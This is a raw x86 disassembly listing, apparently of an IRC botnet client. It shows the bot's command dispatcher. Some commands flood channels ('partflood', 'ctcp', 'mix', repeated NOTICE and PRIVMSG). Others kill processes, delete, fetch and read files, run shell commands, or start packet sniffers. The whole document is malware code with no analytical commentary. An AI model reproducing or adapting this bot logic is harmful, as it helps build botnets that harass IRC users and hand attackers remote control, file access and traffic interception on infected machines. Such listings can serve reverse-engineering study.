		call	sub_41C070
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404CFE
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CFE
		push	[ebp+esi+var_80]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417A60
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42BC00
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CFE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_404CFE:				; CODE XREF: sub_401ACD+31BAj
					; sub_401ACD+31C0j ...
		push	[ebp+arg_10]
		push	offset dword_42BBFC
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D6A
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D6A
		push	offset asc_42D124 ; " "
		push	offset dword_42BBF8
		push	eax
		call	sub_417EEF
		push	eax
		lea	eax, [ebp+var_50F4]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_50F4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBE8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_404D6A:				; CODE XREF: sub_401ACD+3242j
					; sub_401ACD+324Dj
		push	[ebp+arg_10]
		push	offset dword_42BBE4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DD6
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DD6
		push	offset asc_42D124 ; " "
		push	offset dword_42BBF8
		push	eax
		call	sub_417EEF
		push	eax
		lea	eax, [ebp+var_4BF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4BF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBD0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_404DD6:				; CODE XREF: sub_401ACD+32AEj
					; sub_401ACD+32B9j
		push	[ebp+arg_10]
		push	offset aNt	; "nt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E42
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E42
		push	offset asc_42D124 ; " "
		push	offset dword_42BBF8
		push	eax
		call	sub_417EEF
		push	eax
		lea	eax, [ebp+var_46EC]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_46EC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_404E42:				; CODE XREF: sub_401ACD+331Aj
					; sub_401ACD+3325j
		push	[ebp+arg_10]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EAE
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404EAE
		push	offset asc_42D124 ; " "
		push	offset dword_42BBF8
		push	eax
		call	sub_417EEF
		push	eax
		lea	eax, [ebp+var_4DF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4DF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_404EAE:				; CODE XREF: sub_401ACD+3386j
					; sub_401ACD+3391j
		push	[ebp+arg_10]
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EED
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404EED
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_404EED:				; CODE XREF: sub_401ACD+33F2j
					; sub_401ACD+33FDj
		push	[ebp+arg_10]
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F2C
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F2C
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_404F2C:				; CODE XREF: sub_401ACD+3431j
					; sub_401ACD+343Cj
		push	[ebp+arg_10]
		push	offset aPartflood ; "partflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F70
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F70
		push	offset dword_427638
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_404F70:				; CODE XREF: sub_401ACD+3470j
					; sub_401ACD+347Bj
		push	[ebp+arg_10]
		push	offset aPnick	; "pnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FE9
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404FE9
		call	near ptr 26907ACh
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42BB60
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_17B4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB58
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_404FE9:				; CODE XREF: sub_401ACD+34B4j
					; sub_401ACD+34BDj
		push	[ebp+arg_10]
		push	offset dword_42BB4C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405136
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405136
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427638
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_427638
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_427638
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_405136:				; CODE XREF: sub_401ACD+352Dj
					; sub_401ACD+353Aj
		push	[ebp+arg_10]
		push	offset dword_42BB48
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4051D0
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_4051D0
		call	near ptr 26907ACh
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42BB20
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 24h


loc_4051D0:				; CODE XREF: sub_401ACD+367Aj
					; sub_401ACD+3687j
		push	[ebp+arg_10]
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4052D2
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_4052D2
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADE
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB58
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADE
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB58
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADE
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB58
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_4052D2:				; CODE XREF: sub_401ACD+3714j
					; sub_401ACD+3723j
		push	[ebp+arg_10]
		push	offset aChgnick	; "chgnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405319
		lea	eax, [ebp+var_1808]
		push	eax
		call	sub_417ADE
		pop	ecx
		lea	eax, [ebp+var_1808]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB58
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_405319:				; CODE XREF: sub_401ACD+3816j
		push	[ebp+arg_10]
		push	offset aMsg	; "msg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405408
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405408
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_42763C
		push	[ebp+esi+var_88]
		push	offset dword_42BBE8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBE8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBE8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_405408:				; CODE XREF: sub_401ACD+385Dj
					; sub_401ACD+386Aj
		push	[ebp+arg_10]
		push	offset aNotice_0 ; "notice"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054F7
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054F7
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_42763C
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_4054F7:				; CODE XREF: sub_401ACD+394Cj
					; sub_401ACD+3959j
		push	[ebp+arg_10]
		push	offset aCtcp	; "ctcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40560E
		cmp	[ebp+esi+var_88], ebx
		jz	loc_40560E
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BAD8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BAC0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BAA8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BAA8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_40560E:				; CODE XREF: sub_401ACD+3A3Bj
					; sub_401ACD+3A48j
		push	[ebp+arg_10]
		push	offset aMix	; "mix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405734
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405734
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BAD8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_405734:				; CODE XREF: sub_401ACD+3B52j
					; sub_401ACD+3B5Fj
		push	[ebp+arg_10]
		push	offset aRegister ; "register"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40577A
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_40577A
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_40577A:				; CODE XREF: sub_401ACD+3C78j
					; sub_401ACD+3C83j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4062C4
		mov	edi, offset dword_4D46EC


loc_405796:				; CODE XREF: sub_401ACD+3CE8j
		cmp	dword ptr [edi-4], 1
		jnz	short loc_4057A9
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4057A9
		push	eax
		call	dword_4CB6EC


loc_4057A9:				; CODE XREF: sub_401ACD+3CCDj
					; sub_401ACD+3CD3j
		add	edi, 210h
		cmp	edi, offset dword_4DAE0C
		jl	short loc_405796
		cmp	[ebp+var_8], ebx
		jnz	loc_4062C4
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BA48
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h
		jmp	loc_4062C4
; ---------------------------------------------------------------------------


loc_4057DF:				; CODE XREF: sub_401ACD+3196j
		mov	edi, [ebp+arg_8]
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409759
		push	edi
		push	offset aN	; "n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409759
		push	edi
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409732
		push	edi
		push	offset aJ	; "j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409732
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409712
		push	edi
		push	offset aPt	; "pt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409712
		push	edi
		push	offset aRaw	; "raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D6
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D6
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D6
		push	edi
		push	offset aK	; "k"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D6
		push	edi
		push	offset aC_quit	; "c_quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409528
		push	edi
		push	offset aC_q	; "c_q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409528
		push	edi
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D6
		push	edi
		push	offset aC_rn	; "c_rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D6
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BD
		push	edi
		push	offset aPr	; "pr"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BD
		push	edi
		push	offset aOpen	; "open"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948F
		push	edi
		push	offset aO	; "o"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948F
		push	edi
		push	offset aServer	; "server"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409472
		push	edi
		push	offset aSe	; "se"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409472
		push	edi
		push	offset aDns	; "dns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409407
		push	edi
		push	offset aDn	; "dn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409407
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D7
		push	edi
		push	offset aKp	; "kp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D7
		push	edi
		push	offset aKill	; "kill"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409378
		push	edi
		push	offset aKi	; "ki"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409378
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933C
		push	edi
		push	offset aDel	; "del"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933C
		push	edi
		push	offset aGet	; "get"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925D
		push	edi
		push	offset aGt	; "gt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925D
		push	edi
		push	offset aList	; "list"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923B
		push	edi
		push	offset aLi	; "li"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923B
		push	edi
		push	offset aVisit	; "visit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409147
		push	edi
		push	offset aV	; "v"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409147
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409110
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409110
		push	edi
		push	offset aCmd	; "cmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A6
		push	edi
		push	offset aCm	; "cm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A6
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409029
		push	edi
		push	offset aRf	; "rf"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409029
		push	edi
		push	offset aPsniff	; "psniff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C7C
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C42
		push	20h
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_405B6C
		push	offset dword_42B94C
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405B6C:				; CODE XREF: sub_401ACD+4093j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E3C], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E38], eax
		jnz	short loc_405BAE
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D808
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BAE
		mov	esi, [ebp+var_88]


loc_405BAE:				; CODE XREF: sub_401ACD+40C3j
					; sub_401ACD+40D9j
		push	esi
		lea	eax, [ebp+var_EC0]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B91C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_E40], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC4]
		push	ebx
		push	eax
		push	offset word_411FD6
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_E40]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_405C31


loc_405C1B:				; CODE XREF: sub_401ACD+4162j
		cmp	[ebp+var_E34], ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2670EC6h
		jmp	short loc_405C1B
; ---------------------------------------------------------------------------


loc_405C31:				; CODE XREF: sub_401ACD+414Cj
		call	near ptr 2680867h
		nop
		push	eax
		push	offset dword_42B8E0
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405C42:				; CODE XREF: sub_401ACD+4083j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828C
		push	ebx
		push	20h
		call	sub_40B2F2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C72
		push	eax
		push	offset dword_42B8A4
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405C72:				; CODE XREF: sub_401ACD+4198j
		push	offset dword_42B878
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405C7C:				; CODE XREF: sub_401ACD+406Cj
		push	edi
		push	offset aSniffer	; "sniffer"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DCE
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405D94
		push	21h
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_405CBE
		push	offset unk_42B850
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405CBE:				; CODE XREF: sub_401ACD+41E5j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_FEC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F64], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_F60], eax
		jnz	short loc_405D00
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D808
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405D00
		mov	esi, [ebp+var_88]


loc_405D00:				; CODE XREF: sub_401ACD+4215j
					; sub_401ACD+422Bj
		push	esi
		lea	eax, [ebp+var_FE8]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B820
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
